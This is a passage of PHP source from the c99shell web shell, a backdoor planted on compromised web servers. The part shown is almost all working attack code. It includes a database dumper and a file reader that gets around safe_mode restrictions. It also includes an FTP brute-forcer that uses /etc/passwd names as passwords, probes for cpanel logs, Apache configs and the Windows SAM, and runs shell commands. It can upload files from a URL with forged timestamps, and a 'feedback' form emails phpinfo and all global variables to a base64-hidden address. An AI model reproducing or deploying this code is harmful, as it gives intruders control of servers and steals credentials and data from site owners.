= array_keys($sql_tbl_insert); foreach ($akeys as $v) {$keys .= \"`\".addslashes($v).\"`, \";} if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);} $values = \"\"; $i = 0; foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct.\" (\";} $values .= \"\'\".addslashes($v).\"\'\"; if ($funct) {$values .= \")\";} $values .= \", \"; $i++;} if (!empty($values)) {$values = substr($values,0,strlen($values)-2);} $sql_query = \"INSERT INTO `\".$sql_tbl.\"` ( \".$keys.\" ) VALUES ( \".$values.\" );\"; $sql_act = \"query\"; $sql_tbl_act = \"browse\"; } elseif ($sql_tbl_insert_radio == 2) { $set = mysql_buildwhere($sql_tbl_insert,\", \",$sql_tbl_insert_functs); $sql_query = \"UPDATE `\".$sql_tbl.\"` SET \".$set.\" WHERE \".$sql_tbl_insert_q.\" LIMIT 1;\"; $result = mysql_query($sql_query) or print(mysql_smarterror()); $result = mysql_fetch_array($result, MYSQL_ASSOC); $sql_act = \"query\"; $sql_tbl_act = \"browse\"; } } if ($sql_act == \"query\") { echo \"
    \"; if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = \"Query was empty\";} echo \"Error:
    \".$sql_query_error.\"
    \";} if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;} if ((!$submit) or ($sql_act)) {echo \"
    \"; if (($sql_query) and (!$submit)) {echo \"Do you really want to:\";} else {echo \"SQL-Query :\";} echo \"



     
    \";} } if (in_array($sql_act,$acts)) { ?>
    Create new table:
    \">\">\">\">\">\"> 
    Dump DB:
    \">\">\">\">\">\">\"> 
    \";} if ($sql_act == \"newtbl\") { echo \"\"; if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo \"DB \\\"\".htmlspecialchars($sql_newdb).\"\\\" has been created with success!
    \"; } else {echo \"Can\'t create DB \\\"\".htmlspecialchars($sql_newdb).\"\\\".
    Reason: \".mysql_smarterror();} } elseif ($sql_act == \"dump\") { if (empty($submit)) { $diplay = FALSE; echo \"
    SQL-Dump:

    \"; echo \"DB: 

    \"; $v = join (\";\",$dmptbls); echo \"Only tables (explode \\\";\\\") 1: 

    \"; if ($dump_file) {$tmp = $dump_file;} else {$tmp = htmlspecialchars(\"./dump_\".getenv(\"SERVER_NAME\").\"_\".$sql_db.\"_\".date(\"d-m-Y-H-i-s\").\".sql\");} echo \"File: 

    \"; echo \"Download:  

    \"; echo \"Save to file:  \"; echo \"



    1 - all, if empty\"; echo \"
    \"; } else { $diplay = TRUE; $set = array(); $set[\"sock\"] = $sql_sock; $set[\"db\"] = $sql_db; $dump_out = \"download\"; $set[\"print\"] = 0; $set[\"nl2br\"] = 0; $set[\"\"] = 0; $set[\"file\"] = $dump_file; $set[\"add_drop\"] = TRUE; $set[\"onlytabs\"] = array(); if (!empty($dmptbls)) {$set[\"onlytabs\"] = explode(\";\",$dmptbls);} $ret = mysql_dump($set); if ($sql_dump_download) { @ob_clean(); header(\"Content-type: application/octet-stream\"); header(\"Content-length: \".strlen($ret)); header(\"Content-disposition: attachment; filename=\\\"\".basename($sql_dump_file).\"\\\";\"); echo $ret; exit; } elseif ($sql_dump_savetofile) { $fp = fopen($sql_dump_file,\"w\"); if (!$fp) {echo \"Dump error! Can\'t write to \\\"\".htmlspecialchars($sql_dump_file).\"\\\"!\";} else { fwrite($fp,$ret); fclose($fp); echo \"Dumped! Dump has been writed to \\\"\".htmlspecialchars(realpath($sql_dump_file)).\"\\\" (\".view_size(filesize($sql_dump_file)).\").\"; } } else {echo \"Dump: nothing to do!\";} } } if ($diplay) { if (!empty($sql_tbl)) { if (empty($sql_tbl_act)) {$sql_tbl_act = \"browse\";} $count = mysql_query(\"SELECT COUNT(*) FROM `\".$sql_tbl.\"`;\"); $count_row = mysql_fetch_array($count); mysql_free_result($count); $tbl_struct_result = mysql_query(\"SHOW FIELDS FROM `\".$sql_tbl.\"`;\"); $tbl_struct_fields = array(); while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;} if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;} if (empty($sql_tbl_page)) {$sql_tbl_page = 0;} if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;} if (empty($sql_tbl_le)) {$sql_tbl_le = 30;} $perpage = $sql_tbl_le - $sql_tbl_ls; if (!is_numeric($perpage)) {$perpage = 10;} $numpages = $count_row[0]/$perpage; $e = explode(\" \",$sql_order); if (count($e) == 2) { if ($e[0] == \"d\") {$asc_desc = \"DESC\";} else {$asc_desc = \"ASC\";} $v = \"ORDER BY `\".$e[1].\"` \".$asc_desc.\" \"; } else {$v = \"\";} $query = \"SELECT * FROM `\".$sql_tbl.\"` \".$v.\"LIMIT \".$sql_tbl_ls.\" , \".$perpage.\"\"; $result = mysql_query($query) or print(mysql_smarterror()); echo \"
    Table \".htmlspecialchars($sql_tbl).\" (\".mysql_num_fields($result).\" cols and \".$count_row[0].\" rows)
    \"; echo \"Structure ]   \"; echo \"Browse ]   \"; echo \"Dump ]   \"; echo \"Insert ]   \"; if ($sql_tbl_act == \"structure\") {echo \"

    Coming sooon!\";} if ($sql_tbl_act == \"insert\") { if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();} if (!empty($sql_tbl_insert_radio)) { } else { echo \"

    Inserting row into table:
    \"; if (!empty($sql_tbl_insert_q)) { $sql_query = \"SELECT * FROM `\".$sql_tbl.\"`\"; $sql_query .= \" WHERE\".$sql_tbl_insert_q; $sql_query .= \" LIMIT 1;\"; $result = mysql_query($sql_query,$sql_sock) or print(\"

    \".mysql_smarterror()); $values = mysql_fetch_assoc($result); mysql_free_result($result); } else {$values = array();} echo \"
    \"; foreach ($tbl_struct_fields as $field) { $name = $field[\"Field\"]; if (empty($sql_tbl_insert_q)) {$v = \"\";} echo \"\"; $i++; } echo \"
    FieldTypeFunctionValue
    \".htmlspecialchars($name).\"\".$field[\"Type\"].\"

    \"; echo \"Insert as new row\"; if (!empty($sql_tbl_insert_q)) {echo \" or Save\"; echo \"\";} echo \"

    \"; } } if ($sql_tbl_act == \"browse\") { $sql_tbl_ls = abs($sql_tbl_ls); $sql_tbl_le = abs($sql_tbl_le); echo \"
    \"; echo \"\\\"Pages\\\" \"; $b = 0; for($i=0;$i<$numpages;$i++) { if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo \"\";} echo $i; if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo \"\";} if (($i/30 == round($i/30)) and ($i > 0)) {echo \"
    \";} else {echo \" \";} } if ($i == 0) {echo \"empty\";} echo \"
    From:  To:  
    \"; echo \"
    \"; echo \"\"; echo \"\"; for ($i=0;$i\"; if (empty($e[0])) {$e[0] = \"a\";} if ($e[1] != $v) {echo \"\".$v.\"\";} else {echo \"\".$v.\"\\\"\".$m.\"\\\"\";} echo \"\"; } echo \"\"; echo \"\"; while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) { echo \"\"; $w = \"\"; $i = 0; foreach ($row as $k=>$v) {$name = mysql_field_name($result,$i); $w .= \" `\".$name.\"` = \'\".addslashes($v).\"\' AND\"; $i++;} if (count($row) > 0) {$w = substr($w,0,strlen($w)-3);} echo \"\"; $i = 0; foreach ($row as $k=>$v) { $v = htmlspecialchars($v); if ($v == \"\") {$v = \"NULL\";} echo \"\"; $i++; } echo \"\"; echo \"\"; } mysql_free_result($result); echo \"
    Action
    \".$v.\"\"; echo \"\\\"Delete\\\" \"; echo \"\\\"Edit\\\" \"; echo \"

     

    \"; } } else { $result = mysql_query(\"SHOW TABLE STATUS\", $sql_sock); if (!$result) {echo mysql_smarterror();} else { echo \"
    \"; $i = 0; $tsize = $trows = 0; while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) { $tsize += $row[\"Data_length\"]; $trows += $row[\"Rows\"]; $size = view_size($row[\"Data_length\"]); echo \"\"; echo \"\"; echo \"\"; echo \"\"; echo \"\"; echo \"\"; echo \"\"; echo \"\"; echo \"\"; echo \"\"; $i++; } echo \"\"; echo \"\"; echo \"\"; echo \"\"; echo \"\"; echo \"\"; echo \"\"; echo \"\"; echo \"\"; echo \"\"; echo \"
    Table
    RowsTypeCreatedModifiedSizeAction
     \".$row[\"Name\"].\" \".$row[\"Rows\"].\"\".$row[\"Type\"].\"\".$row[\"Create_time\"].\"\".$row[\"Update_time\"].\"\".$size.\" \\\"Empty\\\"  \\\"Drop\\\" \\\"Insert\\\" 
    +
    \".$i.\" table(s)
    \".$trows.\"\".$row[1].\"\".$row[10].\"\".$row[11].\"\".view_size($tsize).\"

     

    \"; mysql_free_result($result); } } } } } else { $acts = array(\"\",\"newdb\",\"serverstatus\",\"servervars\",\"processes\",\"getfile\"); if (in_array($sql_act,$acts)) {?>
    Create new DB:
    \">\">\">\">\"> 
    View File:
    \">\">\">\">\">\"> 
    \"; if ($sql_act == \"newdb\") { echo \"\"; if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo \"DB \\\"\".htmlspecialchars($sql_newdb).\"\\\" has been created with success!
    \";} else {echo \"Can\'t create DB \\\"\".htmlspecialchars($sql_newdb).\"\\\".
    Reason:
    \".mysql_smarterror();} } if ($sql_act == \"serverstatus\") { $result = mysql_query(\"SHOW STATUS\", $sql_sock); echo \"
    Server-status variables:

    \"; echo \"\"; while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo \"\";} echo \"
    NameValue
    \".$row[0].\"\".$row[1].\"
    \"; mysql_free_result($result); } if ($sql_act == \"servervars\") { $result = mysql_query(\"SHOW VARIABLES\", $sql_sock); echo \"
    Server variables:

    \"; echo \"\"; while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo \"\";} echo \"
    NameValue
    \".$row[0].\"\".$row[1].\"
    \"; mysql_free_result($result); } if ($sql_act == \"processes\") { if (!empty($kill)) {$query = \"KILL \".$kill.\";\"; $result = mysql_query($query, $sql_sock); echo \"Killing process #\".$kill.\"... ok. he is dead, amen.\";} $result = mysql_query(\"SHOW PROCESSLIST\", $sql_sock); echo \"
    Processes:

    \"; echo \"\"; while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo \"\";} echo \"
    IDUSERHOSTDBCOMMANDTIMESTATEINFOAction
    \".$row[0].\"\".$row[1].\"\".$row[2].\"\".$row[3].\"\".$row[4].\"\".$row[5].\"\".$row[6].\"\".$row[7].\"Kill
    \"; mysql_free_result($result); } if ($sql_act == \"getfile\") { $tmpdb = $sql_login.\"_tmpdb\"; $select = mysql_select_db($tmpdb); if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select;} if ($select) { $created = FALSE; mysql_query(\"CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );\"); mysql_query(\"LOAD DATA INFILE \\\"\".addslashes($sql_getfile).\"\\\" INTO TABLE tmp_file\"); $result = mysql_query(\"SELECT * FROM tmp_file;\"); if (!$result) {echo \"Error in reading file (permision denied)!\";} else { for ($i=0;$iFile \\\"\".$sql_getfile.\"\\\" does not exists or empty!
    \";} else {echo \"File \\\"\".$sql_getfile.\"\\\":
    \".nl2br(htmlspecialchars($f)).\"
    \";} mysql_free_result($result); mysql_query(\"DROP TABLE tmp_file;\"); } } mysql_drop_db($tmpdb); //comment it if you want to leave database } } } } echo \"
    \"; if ($sql_sock) { $affected = @mysql_affected_rows($sql_sock); if ((!is_numeric($affected)) or ($affected < 0)){$affected = 0;} echo \"
    Affected rows: \".$affected.\"
    \"; } if ($act == \"mkdir\") { if ($mkdir != $d) { if (file_exists($mkdir)) {echo \"Make Dir \\\"\".htmlspecialchars($mkdir).\"\\\": object alredy exists\";} elseif (!mkdir($mkdir)) {echo \"Make Dir \\\"\".htmlspecialchars($mkdir).\"\\\": access denied\";} echo \"

    \"; } $act = $dspact = \"ls\"; } if ($act == \"ftpquickbrute\") { echo \"Ftp Quick brute:
    \"; if (!win) {echo \"This functions not work in Windows!

    \";} else { function c99ftpbrutecheck($host,$port,$timeout,$login,$pass,$sh,$fqb_onlywithsh) { if ($fqb_onlywithsh) {$TRUE = (!in_array($sh,array(\"/bin/FALSE\",\"/sbin/nologin\")));} else {$TRUE = TRUE;} if ($TRUE) { $sock = @ftp_connect($host,$port,$timeout); if (@ftp_login($sock,$login,$pass)) { echo \"Connected to \".$host.\" with login \\\"\".$login.\"\\\" and password \\\"\".$pass.\"\\\".
    \"; ob_flush(); return TRUE; } } } if (!empty($submit)) { if (!is_numeric($fqb_lenght)) {$fqb_lenght = $nixpwdperpage;} $fp = fopen(\"/etc/passwd\",\"r\"); if (!$fp) {echo \"Can\'t get /etc/passwd for password-list.\";} else { if ($fqb_logging) { if ($fqb_logfile) {$fqb_logfp = fopen($fqb_logfile,\"w\");} else {$fqb_logfp = FALSE;} $fqb_log = \"FTP Quick Brute (called c99shell v. \".$shver.\") started at \".date(\"d.m.Y H:i:s\").\"\\r\\n\\r\\n\"; if ($fqb_logfile) {fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} } ob_flush(); $i = $success = 0; $ftpquick_st = getmicrotime(); while(!feof($fp)) { $str = explode(\":\",fgets($fp,2048)); if (c99ftpbrutecheck(\"localhost\",21,1,$str[0],$str[0],$str[6],$fqb_onlywithsh)) { echo \"Connected to \".getenv(\"SERVER_NAME\").\" with login \\\"\".$str[0].\"\\\" and password \\\"\".$str[0].\"\\\"
    \"; $fqb_log .= \"Connected to \".getenv(\"SERVER_NAME\").\" with login \\\"\".$str[0].\"\\\" and password \\\"\".$str[0].\"\\\", at \".date(\"d.m.Y H:i:s\").\"\\r\\n\"; if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} $success++; ob_flush(); } if ($i > $fqb_lenght) {break;} $i++; } if ($success == 0) {echo \"No success. connections!\"; $fqb_log .= \"No success. connections!\\r\\n\";} $ftpquick_t = round(getmicrotime()-$ftpquick_st,4); echo \"
    Done!
    Total time (secs.): \".$ftpquick_t.\"
    Total connections: \".$i.\"
    Success.: \".$success.\"
    Unsuccess.:\".($i-$success).\"
    Connects per second: \".round($i/$ftpquick_t,2).\"
    \"; $fqb_log .= \"\\r\\n------------------------------------------\\r\\nDone!\\r\\nTotal time (secs.): \".$ftpquick_t.\"\\r\\nTotal connections: \".$i.\"\\r\\nSuccess.: \".$success.\"\\r\\nUnsuccess.:\".($i-$success).\"\\r\\nConnects per second: \".round($i/$ftpquick_t,2).\"\\r\\n\"; if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} if ($fqb_logemail) {@mail($fqb_logemail,\"c99shell v. \".$shver.\" report\",$fqb_log);} fclose($fqb_logfp); } } else { $logfile = $tmpdir_logs.\"c99sh_ftpquickbrute_\".date(\"d.m.Y_H_i_s\").\".log\"; $logfile = str_replace(\"//\",DIRECTORY_SEPARATOR,$logfile); echo \"

    Read first:

    Users only with shell? 

    Logging? 
    Logging to file? 
    Logging to e-mail? 

    \"; } } } if ($act == \"d\") { if (!is_dir($d)) {echo \"
    Permision denied!
    \";} else { echo \"Directory information:\"; if (!$win) { echo \"
    Owner/Group \"; $ow = posix_getpwuid(fileowner($d)); $gr = posix_getgrgid(filegroup($d)); $row[] = ($ow[\"name\"]?$ow[\"name\"]:fileowner($d)).\"/\".($gr[\"name\"]?$gr[\"name\"]:filegroup($d)); } echo \"
    Perms\".view_perms_color($d).\"
    Create time \".date(\"d/m/Y H:i:s\",filectime($d)).\"
    Access time \".date(\"d/m/Y H:i:s\",fileatime($d)).\"
    MODIFY time \".date(\"d/m/Y H:i:s\",filemtime($d)).\"

    \"; } } if ($act == \"phpinfo\") {@ob_clean(); phpinfo(); c99shexit();} if ($act == \"security\") { echo \"
    Server security information:
    Open base dir: \".$hopenbasedir.\"
    \"; if (!$win) { if ($nixpasswd) { if ($nixpasswd == 1) {$nixpasswd = 0;} echo \"*nix /etc/passwd:
    \"; if (!is_numeric($nixpwd_s)) {$nixpwd_s = 0;} if (!is_numeric($nixpwd_e)) {$nixpwd_e = $nixpwdperpage;} echo \"
    From:  To:  

    \"; $i = $nixpwd_s; while ($i < $nixpwd_e) { $uid = posix_getpwuid($i); if ($uid) { $uid[\"dir\"] = \"\".$uid[\"dir\"].\"\"; echo join(\":\",$uid).\"
    \"; } $i++; } } else {echo \"
    Get /etc/passwd
    \";} } else { $v = $_SERVER[\"WINDIR\"].\"\\repair\\sam\"; if (file_get_contents($v)) {echo \"You can\'t crack winnt passwords(\".$v.\")
    \";} else {echo \"You can crack winnt passwords. Download, and use lcp.crack+ ?.
    \";} } if (file_get_contents(\"/etc/userdomains\")) {echo \"View cpanel user-domains logs
    \";} if (file_get_contents(\"/var/cpanel/accounting.log\")) {echo \"View cpanel logs
    \";} if (file_get_contents(\"/usr/local/apache/conf/httpd.conf\")) {echo \"Apache configuration (httpd.conf)
    \";} if (file_get_contents(\"/etc/httpd.conf\")) {echo \"Apache configuration (httpd.conf)
    \";} if (file_get_contents(\"/etc/syslog.conf\")) {echo \"Syslog configuration (syslog.conf)
    \";} if (file_get_contents(\"/etc/motd\")) {echo \"Message Of The Day
    \";} if (file_get_contents(\"/etc/hosts\")) {echo \"Hosts
    \";} function displaysecinfo($name,$value) {if (!empty($value)) {if (!empty($name)) {$name = \"\".$name.\" - \";} echo $name.nl2br($value).\"
    \";}} displaysecinfo(\"OS Version?\",myshellexec(\"cat /proc/version\")); displaysecinfo(\"Kernel version?\",myshellexec(\"sysctl -a | grep version\")); displaysecinfo(\"Distrib name\",myshellexec(\"cat /etc/issue.net\")); displaysecinfo(\"Distrib name (2)\",myshellexec(\"cat /etc/*-realise\")); displaysecinfo(\"CPU?\",myshellexec(\"cat /proc/cpuinfo\")); displaysecinfo(\"RAM\",myshellexec(\"free -m\")); displaysecinfo(\"HDD space\",myshellexec(\"df -h\")); displaysecinfo(\"List of Attributes\",myshellexec(\"lsattr -a\")); displaysecinfo(\"Mount options \",myshellexec(\"cat /etc/fstab\")); displaysecinfo(\"Is cURL installed?\",myshellexec(\"which curl\")); displaysecinfo(\"Is lynx installed?\",myshellexec(\"which lynx\")); displaysecinfo(\"Is links installed?\",myshellexec(\"which links\")); displaysecinfo(\"Is fetch installed?\",myshellexec(\"which fetch\")); displaysecinfo(\"Is GET installed?\",myshellexec(\"which GET\")); displaysecinfo(\"Is perl installed?\",myshellexec(\"which perl\")); displaysecinfo(\"Where is apache\",myshellexec(\"whereis apache\")); displaysecinfo(\"Where is perl?\",myshellexec(\"whereis perl\")); displaysecinfo(\"locate proftpd.conf\",myshellexec(\"locate proftpd.conf\")); displaysecinfo(\"locate httpd.conf\",myshellexec(\"locate httpd.conf\")); displaysecinfo(\"locate my.conf\",myshellexec(\"locate my.conf\")); displaysecinfo(\"locate psybnc.conf\",myshellexec(\"locate psybnc.conf\")); } if ($act == \"mkfile\") { if ($mkfile != $d) { if (file_exists($mkfile)) {echo \"Make File \\\"\".htmlspecialchars($mkfile).\"\\\": object alredy exists\";} elseif (!fopen($mkfile,\"w\")) {echo \"Make File \\\"\".htmlspecialchars($mkfile).\"\\\": access denied\";} else {$act = \"f\"; $d = dirname($mkfile); if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $f = basename($mkfile);} } else {$act = $dspact = \"ls\";} } if ($act == \"encoder\") { echo \"
    Encoder:
    Input:




    Hashes:
    \"; foreach(array(\"md5\",\"crypt\",\"sha1\",\"crc32\") as $v) { echo $v.\" -
    \"; } echo \"
    Url:

    urlencode -
    urldecode -
    Base64:
    base64_encode -
    \"; echo \"
    base64_decode - \"; if (base64_encode(base64_decode($encoder_input)) != $encoder_input) {echo \"\";} else { $debase64 = base64_decode($encoder_input); $debase64 = str_replace(\"\\0\",\"[0]\",$debase64); $a = explode(\"\\r\\n\",$debase64); $rows = count($a); $debase64 = htmlspecialchars($debase64); if ($rows == 1) {echo \"\";} else {$rows++; echo \"\";} echo \" ^\"; } echo \"

    Base convertations:
    dec2hex -
    \"; } if ($act == \"fsbuff\") { $arr_copy = $sess_data[\"copy\"]; $arr_cut = $sess_data[\"cut\"]; $arr = array_merge($arr_copy,$arr_cut); if (count($arr) == 0) {echo \"
    Buffer is empty!
    \";} else {echo \"File-System buffer

    \"; $ls_arr = $arr; $disp_fullpath = TRUE; $act = \"ls\";} } if ($act == \"selfremove\") { if (($submit == $rndcode) and ($submit != \"\")) { if (unlink(__FILE__)) {@ob_clean(); echo \"Thanks for using c99shell v.\".$shver.\"!\"; c99shexit(); } else {echo \"
    Can\'t delete \".__FILE__.\"!
    \";} } else { if (!empty($rndcode)) {echo \"Error: incorrect confimation!\";} $rnd = rand(0,9).rand(0,9).rand(0,9); echo \"
    Self-remove: \".__FILE__.\"
    Are you sure?
    For confirmation, enter \\\"\".$rnd.\"\\\"
     \"; } } if ($act == \"update\") {$ret = c99sh_getupdate(!!$confirmupdate); echo \"\".$ret.\"\"; if (stristr($ret,\"new version\")) {echo \"

    \";}} if ($act == \"feedback\") { $suppmail = base64_decode(\"Yzk5c2hlbGxAY2N0ZWFtLnJ1\"); if (!empty($submit)) { $ticket = substr(md5(microtime()+rand(1,1000)),0,6); $body = \"c99shell v.\".$shver.\" feedback #\".$ticket.\"\\nName: \".htmlspecialchars($fdbk_name).\"\\nE-mail: \".htmlspecialchars($fdbk_email).\"\\nMessage:\\n\".htmlspecialchars($fdbk_body).\"\\n\\nIP: \".$REMOTE_ADDR; if (!empty($fdbk_ref)) { $tmp = @ob_get_contents(); ob_clean(); phpinfo(); $phpinfo = base64_encode(ob_get_contents()); ob_clean(); echo $tmp; $body .= \"\\n\".\"phpinfo(): \".$phpinfo.\"\\n\".\"\\$GLOBALS=\".base64_encode(serialize($GLOBALS)).\"\\n\"; } mail($suppmail,\"c99shell v.\".$shver.\" feedback #\".$ticket,$body,\"FROM: \".$suppmail); echo \"
    Thanks for your feedback! Your ticket ID: \".$ticket.\".
    \"; } else {echo \"
    Feedback or report bug (\".str_replace(array(\"@\",\".\"),array(\"[at]\",\"[dot]\"),$suppmail).\"):

    Your name:

    Your e-mail:

    Message:


    Attach server-info *

    There are no checking in the form.

    * - strongly recommended, if you report bug, because we need it for bug-fix.

    We understand languages: English, Russian.

    \";} } if ($act == \"search\") { echo \"Search in file-system:
    \"; if (empty($search_in)) {$search_in = $d;} if (empty($search_name)) {$search_name = \"(.*)\"; $search_name_regexp = 1;} if (empty($search_text_wwo)) {$search_text_regexp = 0;} if (!empty($submit)) { $found = array(); $found_d = 0; $found_f = 0; $search_i_f = 0; $search_i_d = 0; $a = array ( \"name\"=>$search_name, \"name_regexp\"=>$search_name_regexp, \"text\"=>$search_text, \"text_regexp\"=>$search_text_regxp, \"text_wwo\"=>$search_text_wwo, \"text_cs\"=>$search_text_cs, \"text_not\"=>$search_text_not ); $searchtime = getmicrotime(); $in = array_unique(explode(\";\",$search_in)); foreach($in as $v) {c99fsearch($v);} $searchtime = round(getmicrotime()-$searchtime,4); if (count($found) == 0) {echo \"No files found!\";} else { $ls_arr = $found; $disp_fullpath = TRUE; $act = \"ls\"; } } echo \"
    Search for (file/folder name):   - regexp
    Search in (explode \\\";\\\"):

    Text:


    - regexp    - whole words only    - case sensitive    - find files NOT containing the text

    \"; if ($act == \"ls\") {$dspact = $act; echo \"
    Search took \".$searchtime.\" secs (\".$search_i_f.\" files and \".$search_i_d.\" folders, \".round(($search_i_f+$search_i_d)/$searchtime,4).\" objects per second).

    \";} } if ($act == \"chmod\") { $mode = fileperms($d.$f); if (!$mode) {echo \"Change file-mode with error: can\'t get current value.\";} else { $form = TRUE; if ($chmod_submit) { $octet = \"0\".base_convert(($chmod_o[\"r\"]?1:0).($chmod_o[\"w\"]?1:0).($chmod_o[\"x\"]?1:0).($chmod_g[\"r\"]?1:0).($chmod_g[\"w\"]?1:0).($chmod_g[\"x\"]?1:0).($chmod_w[\"r\"]?1:0).($chmod_w[\"w\"]?1:0).($chmod_w[\"x\"]?1:0),2,8); if (chmod($d.$f,$octet)) {$act = \"ls\"; $form = FALSE; $err = \"\";} else {$err = \"Can\'t chmod to \".$octet.\".\";} } if ($form) { $perms = parse_perms($mode); echo \"Changing file-mode (\".$d.$f.\"), \".view_perms_color($d.$f).\" (\".substr(decoct(fileperms($d.$f)),-4,4).\")
    \".($err?\"Error: \".$err:\"\").\"
    Owner

     Read
     Write
    eXecute
    Group

     Read
     Write
    eXecute
    World

     Read
     Write
    eXecute
    \"; } } } if ($act == \"upload\") { $uploadmess = \"\"; $uploadpath = str_replace(\"\\\\\",DIRECTORY_SEPARATOR,$uploadpath); if (empty($uploadpath)) {$uploadpath = $d;} elseif (substr($uploadpath,-1) != \"/\") {$uploadpath .= \"/\";} if (!empty($submit)) { global $HTTP_POST_FILES; $uploadfile = $HTTP_POST_FILES[\"uploadfile\"]; if (!empty($uploadfile[\"tmp_name\"])) { if (empty($uploadfilename)) {$destin = $uploadfile[\"name\"];} else {$destin = $userfilename;} if (!move_uploaded_file($uploadfile[\"tmp_name\"],$uploadpath.$destin)) {$uploadmess .= \"Error uploading file \".$uploadfile[\"name\"].\" (can\'t copy \\\"\".$uploadfile[\"tmp_name\"].\"\\\" to \\\"\".$uploadpath.$destin.\"\\\"!
    \";} } elseif (!empty($uploadurl)) { if (!empty($uploadfilename)) {$destin = $uploadfilename;} else { $destin = explode(\"/\",$destin); $destin = $destin[count($destin)-1]; if (empty($destin)) { $i = 0; $b = \"\"; while(file_exists($uploadpath.$destin)) {if ($i > 0) {$b = \"_\".$i;} $destin = \"index\".$b.\".html\"; $i++;}} } if ((!eregi(\"http://\",$uploadurl)) and (!eregi(\"https://\",$uploadurl)) and (!eregi(\"ftp://\",$uploadurl))) {echo \"Incorect url!
    \";} else { $st = getmicrotime(); $content = @file_get_contents($uploadurl); $dt = round(getmicrotime()-$st,4); if (!$content) {$uploadmess .= \"Can\'t download file!
    \";} else { if ($filestealth) {$stat = stat($uploadpath.$destin);} $fp = fopen($uploadpath.$destin,\"w\"); if (!$fp) {$uploadmess .= \"Error writing to file \".htmlspecialchars($destin).\"!
    \";} else { fwrite($fp,$content,strlen($content)); fclose($fp); if ($filestealth) {touch($uploadpath.$destin,$stat[9],$stat[8]);} } } } } } if ($miniform) { echo \"\".$uploadmess.\"\"; $act = \"ls\"; } else { echo \"File upload:
    \".$uploadmess.\"
    Select file on your local computer:
                   or
    Input URL:

    Save this file dir:

    File-name (auto-fill):

     convert file name to lovercase

    \"; } } if ($act == \"delete\") { $delerr = \"\"; foreach ($actbox as $v) { $result = FALSE; $result = fs_rmobj($v); if (!$result) {$delerr .= \"Can\'t delete \".htmlspecialchars($v).\"
    \";} } if (!empty($delerr)) {echo \"Deleting with errors:
    \".$delerr;} $act = \"ls\"; } if (!$usefsbuff) { if (($act == \"paste\") or ($act == \"copy\") or ($act == \"cut\") or ($act == \"unselect\")) {echo \"
    Sorry, buffer is disabled. For enable, set directive \\\"\\$useFSbuff\\\" as TRUE.
    \";} } else { if ($act == \"copy\") {$err = \"\"; $sess_data[\"copy\"] = array_merge($sess_data[\"copy\"],$actbox); c99_sess_put($sess_data); $act = \"ls\"; } elseif ($act == \"cut\") {$sess_data[\"cut\"] = array_merge($sess_data[\"cut\"],$actbox); c99_sess_put($sess_data); $act = \"ls\";} elseif ($act == \"unselect\") {foreach ($sess_data[\"copy\"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data[\"copy\"][$k]);}} foreach ($sess_data[\"cut\"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data[\"cut\"][$k]);}} c99_sess_put($sess_data); $act = \"ls\";} if ($actemptybuff) {$sess_data[\"copy\"] = $sess_data[\"cut\"] = array(); c99_sess_put($sess_data);} elseif ($actpastebuff) { $psterr = \"\"; foreach($sess_data[\"copy\"] as $k=>$v) { $to = $d.basename($v); if (!fs_copy_obj($v,$to)) {$psterr .= \"Can\'t copy \".$v.\" to \".$to.\"!
    \";} if ($copy_unset) {unset($sess_data[\"copy\"][$k]);} } foreach($sess_data[\"cut\"] as $k=>$v) { $to = $d.basename($v); if (!fs_move_obj($v,$to)) {$psterr .= \"Can\'t move \".$v.\" to \".$to.\"!
    \";} unset($sess_data[\"cut\"][$k]); } c99_sess_put($sess_data); if (!empty($psterr)) {echo \"Pasting with errors:
    \".$psterr;} $act = \"ls\"; } elseif ($actarcbuff) { $arcerr = \"\"; if (substr($actarcbuff_path,-7,7) == \".tar.gz\") {$ext = \".tar.gz\";} else {$ext = \".tar.gz\";} if ($ext == \".tar.gz\") {$cmdline = \"tar cfzv\";} $cmdline .= \" \".$actarcbuff_path; $objects = array_merge($sess_data[\"copy\"],$sess_data[\"cut\"]); foreach($objects as $v) { $v = str_replace(\"\\\\\",DIRECTORY_SEPARATOR,$v); if (substr($v,0,strlen($d)) == $d) {$v = basename($v);} if (is_dir($v)) { if (substr($v,-1) != DIRECTORY_SEPARATOR) {$v .= DIRECTORY_SEPARATOR;} $v .= \"*\"; } $cmdline .= \" \".$v; } $tmp = realpath(\".\"); chdir($d); $ret = myshellexec($cmdline); chdir($tmp); if (empty($ret)) {$arcerr .= \"Can\'t call archivator (\".htmlspecialchars(str2mini($cmdline,60)).\")!
